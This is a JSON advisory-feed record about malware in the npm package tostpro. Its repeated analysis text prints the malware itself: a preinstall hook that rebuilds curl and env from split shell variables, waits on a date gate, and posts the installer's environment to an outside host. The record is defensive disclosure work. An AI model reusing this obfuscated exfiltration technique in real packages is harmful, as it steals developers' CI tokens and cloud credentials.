{"items":[{"id":"NVI-00010495","kind":"supply_chain_event","title":"Malicious code in tostpro (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-462h-3mh4-gh4m"],"plain_summary":"GitHub lists this malware advisory for tostpro, tostpro, tostpro. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-effe783bf2b3ca930ba133e451502ead"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-effe783bf2b3ca930ba133e451502ead","url":"https://github.com/advisories/GHSA-462h-3mh4-gh4m","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-462h-3mh4-gh4m","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:06:53.250Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-effe783bf2b3ca930ba133e451502ead"],"technology":"tostpro","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183)\nThe npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d \"`$b$s$a`\" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states \"No network access. No data collection,\" directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.\n\n---\n\nCredit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e6394","public_affected_ranges":["= 100.6.0"]},{"certainty":"source_listed","source_ids":["sr-effe783bf2b3ca930ba133e451502ead"],"technology":"tostpro","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183)\nThe npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d \"`$b$s$a`\" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states \"No network access. No data collection,\" directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.\n\n---\n\nCredit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e6394","public_affected_ranges":["= 100.2.0"]},{"certainty":"source_listed","source_ids":["sr-effe783bf2b3ca930ba133e451502ead"],"technology":"tostpro","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183)\nThe npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d \"`$b$s$a`\" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states \"No network access. No data collection,\" directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.\n\n---\n\nCredit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e6394","public_affected_ranges":["= 100.7.0"]}],"null_published_at":"2026-10-31T22:27:06.719Z","source_updated_at":"2026-10-11T18:30:24.000Z","source_disclosed_at":"2026-10-05T06:30:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:06:53.250Z"}],"next_cursor":null,"snapshot_revision":"42594"}